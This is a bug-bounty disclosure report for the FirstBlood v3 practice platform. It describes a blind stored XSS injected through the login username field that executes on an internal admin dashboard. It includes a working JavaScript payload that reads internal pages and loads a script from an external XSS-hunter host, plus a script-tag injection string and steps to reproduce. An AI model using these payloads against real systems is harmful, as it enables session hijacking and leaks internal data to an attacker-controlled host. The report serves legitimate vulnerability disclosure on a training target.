FirstBlood-#1559Blind Stored XSS on admin panel can lead to SSRF
This issue was discovered on FirstBlood v3

On 2022-12-11, 0xblackbird Level 5 reported:


Hi mate!

I found a blind stored XSS on an internal dashboard on (IP:, it is possible to escalate this to hijack the admin's session or even worse, use this like an SSRF/gateway to the dashboard by screenshotting/fetching each page on the internal side and sending it back to my end.

Possible cause:

Developers may have underestimated that users could supply a blind XSS payload and left the data unencoded on the internal admin dashboard.


I was able to execute javascript code on behalf of an internal admin user on a resource that's only accessible by internal-only users.

For example, I was able to fetch other data from the panel thanks to the incremental ID that the /login_attempts.php endpoint is accepting. So, using the following payload (that I base64 encoded first and used eval(atob()) to execute it):

var x=new XMLHttpRequest();"GET","/login_attempts.php?id=118120",false);x.send();var y=document.createElement("p");y.innerText=x.responseText;document.body.appendChild(y);var z= document.createElement("script");z.src="//{XSSHUNTER}";document.body.appendChild(z);

I was able to fetch the following response (it was mine from a previous attempt 😄️), this is just a small PoC, but I was for example able to get details from another failed attempt:

<!DOCTYPE html><html lang=en><meta content="IE=edge"http-equiv=X-UA-Compatible><title>FirstBloodHackers INTERNAL ADMIN PANEL</title><meta content="width=device-width,initial-scale=1,shrink-to-fit=no"name=viewport><script src= crossorigin=anonymous></script><script src=/assets/js/plugin/webfont/webfont.min.js></script><script>WebFont.load({google:{families:["Lato:300,400,700,900"]},custom:{families:["Flaticon","Font Awesome 5 Solid","Font Awesome 5 Regular","Font Awesome 5 Brands","simple-line-icons"],urls:["../assets/css/fonts.min.css"]},active:function(){sessionStorage.fonts=!0}});var probe_return_data=""</script><style tyle=text/css>td,th{padding:15px}</style><link href=/assets/css/bootstrap.min.css rel=stylesheet><link href=/assets/css/atlantis.css rel=stylesheet><body data-background-color=bg2><div class="fullheight-side no-box-shadow-style wrapper"><div class="logo-header position-fixed"data-background-color=dark><button class="ml-auto navbar-toggler sidenav-toggler"aria-expanded=false aria-label="Toggle navigation"data-target=collapse data-toggle=collapse type=button><span class=navbar-toggler-icon><i class=icon-menu></i></span></button> <button class="more topbar-toggler"><i class=icon-options-vertical></i></button></div><div class=sidebar data-background-color=dark><div class="scrollbar scrollbar-inner sidebar-wrapper"><div class=sidebar-content><ul class="nav nav-warning"><li class=nav-item style=margin-left:15px>Logged in as<font color=red>ADMINISTRATOR-SEAN</font><hr><li class=nav-item><a href=/home.php><i class="fa-home fas"></i>Home</a><li class="nav-item active"><a href=/login_attempts.php><i class="fa-arrow-right-to-arc fa-solid"></i>Login Attempts</a></div></div></div><nav class="border-bottom navbar navbar-expand-lg navbar-header navbar-header-transparent"><div class=container-fluid><h4>INTERNAL USE ONLY</h4><small>If you see this, you should probably report it on FirstBlood v3 :)</small></div></nav><div class="full-height main-panel"><div class=container><div class=page-inner><div class="align-items-left align-items-md-center d-flex flex-column flex-md-row pb-4 pt-3"><div><h2 class="fw-bold pb-2">Managing FirstBlood Login Attempts</h2>The login attempt below was flagged as being potentially malicious.</div></div><table><tr><th>ID<th>Username<th>Date<th>Actions<tr><td><a href="?id=118120">118120</a><td>admin<td>2022/12/10<td><button>Mark as malicious</button></table></div></div></div><script src=//{XSSHUNTER}></script>

No sensitive data was exposed on the admin endpoint, but the actions button would've made it more interesting for a real-world attack scenario.

Steps to reproduce:

1) Replicate the following request (make sure to edit your XSS hunter payload accordingly):

POST /login.php?action=login HTTP/1.1
Host: {HOST}
Content-Length: 65
Content-Type: application/x-www-form-urlencoded
Connection: close

2) Now because these are invalid credentials, they'll be logged, as mentioned on the login page:

Side note: I'm unsure when the admin visits the dashboard, but it looks like he/she visits it daily. I sent the payload on 10/12/2022 and received a notification on 11/12/2022, 13:00.


I recommend encoding any user-spplied input accordingly, even on internal-only resources.

Thank you for including this vulnerability type! Was really exciting to have received the XSS hunter report!

Kind regards,



Endpoint: /login_attempts.php?id=118125

Parameter: username

Payload: '"><script/src="//{XSS_HUNTER}"></script>

FirstBlood ID: 72
Vulnerability Type: Stored XSS

Login attempts were logged on an internal panel on and the username is vulnerable to blind XSS affecting FirstBlood staff